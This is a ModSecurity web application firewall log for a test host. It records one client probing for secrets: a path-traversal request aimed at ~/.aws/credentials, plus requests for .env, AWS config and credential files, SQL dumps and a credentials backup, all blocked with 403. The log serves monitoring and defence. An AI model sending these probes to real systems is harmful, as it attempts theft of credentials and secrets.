[Sun Jun 29 20:22:30.777051 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7goQAAAAU&quot;]
[Sun Jun 29 20:22:30.777866 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7goQAAAAU&quot;]
[Sun Jun 29 20:22:30.778071 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7goQAAAAU&quot;]
[Sun Jun 29 20:22:30.848230 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gogAAAAU&quot;]
[Sun Jun 29 20:22:30.848475 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gogAAAAU&quot;]
[Sun Jun 29 20:22:30.848668 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gogAAAAU&quot;]
[Sun Jun 29 20:22:30.871675 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gowAAAAU&quot;]
[Sun Jun 29 20:22:30.871925 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gowAAAAU&quot;]
[Sun Jun 29 20:22:30.872144 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gowAAAAU&quot;]
[Sun Jun 29 20:22:35.796386 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gpwAAAAU&quot;]
[Sun Jun 29 20:22:35.796625 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gpwAAAAU&quot;]
[Sun Jun 29 20:22:35.796812 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gpwAAAAU&quot;]
[Sun Jun 29 20:22:35.818915 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /public/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/config&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gqAAAAAU&quot;]
[Sun Jun 29 20:22:35.819183 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/config&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gqAAAAAU&quot;]
[Sun Jun 29 20:22:35.819373 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/config&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gqAAAAAU&quot;]
[Sun Jun 29 20:22:35.841363 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /public/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/credentials&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gqQAAAAU&quot;]
[Sun Jun 29 20:22:35.841661 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/credentials&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gqQAAAAU&quot;]
[Sun Jun 29 20:22:35.841890 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/credentials&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gqQAAAAU&quot;]
[Sun Jun 29 20:22:35.888122 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gqwAAAAU&quot;]
[Sun Jun 29 20:22:35.888377 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gqwAAAAU&quot;]
[Sun Jun 29 20:22:35.888600 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aGGEa-U-dj-hWt1UAd7gqwAAAAU&quot;]
[Sun Jun 29 20:22:40.823734 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db.sql&quot;] [unique_id &quot;aGGEcOU-dj-hWt1UAd7gsQAAAAU&quot;]
[Sun Jun 29 20:22:40.824075 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db.sql&quot;] [unique_id &quot;aGGEcOU-dj-hWt1UAd7gsQAAAAU&quot;]
[Sun Jun 29 20:22:40.824269 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db.sql&quot;] [unique_id &quot;aGGEcOU-dj-hWt1UAd7gsQAAAAU&quot;]
[Sun Jun 29 20:22:40.846018 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db_dump.sql&quot;] [unique_id &quot;aGGEcOU-dj-hWt1UAd7gsgAAAAU&quot;]
[Sun Jun 29 20:22:40.846407 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db_dump.sql&quot;] [unique_id &quot;aGGEcOU-dj-hWt1UAd7gsgAAAAU&quot;]
[Sun Jun 29 20:22:40.846609 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db_dump.sql&quot;] [unique_id &quot;aGGEcOU-dj-hWt1UAd7gsgAAAAU&quot;]
[Sun Jun 29 20:22:46.030465 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aGGEduU-dj-hWt1UAd7gvQAAAAU&quot;]
[Sun Jun 29 20:22:46.030721 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aGGEduU-dj-hWt1UAd7gvQAAAAU&quot;]
[Sun Jun 29 20:22:46.030907 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aGGEduU-dj-hWt1UAd7gvQAAAAU&quot;]
[Sun Jun 29 20:22:46.146111 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3-credentials.bak&quot;] [unique_id &quot;aGGEduU-dj-hWt1UAd7gwgAAAAU&quot;]
